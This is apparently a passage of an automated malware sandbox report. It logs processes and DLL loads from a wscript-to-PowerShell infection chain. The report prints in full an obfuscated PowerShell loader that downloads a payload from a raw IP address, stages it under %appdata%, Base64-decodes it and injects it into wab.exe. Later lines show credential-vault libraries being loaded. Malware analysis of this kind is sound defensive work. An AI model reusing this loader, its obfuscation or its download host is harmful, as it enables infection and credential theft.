'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\ceilometers.Pri && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\ceilometers.Pri && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe" Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\mYXDqyXmxWLxDuVbVtvmThXUcmtSSGYDIkaTJxGswIcwJgbDFXkLoJheiZ\NJtMZOnjgWDVLdkRCPxthGxX.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: actxprxy.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
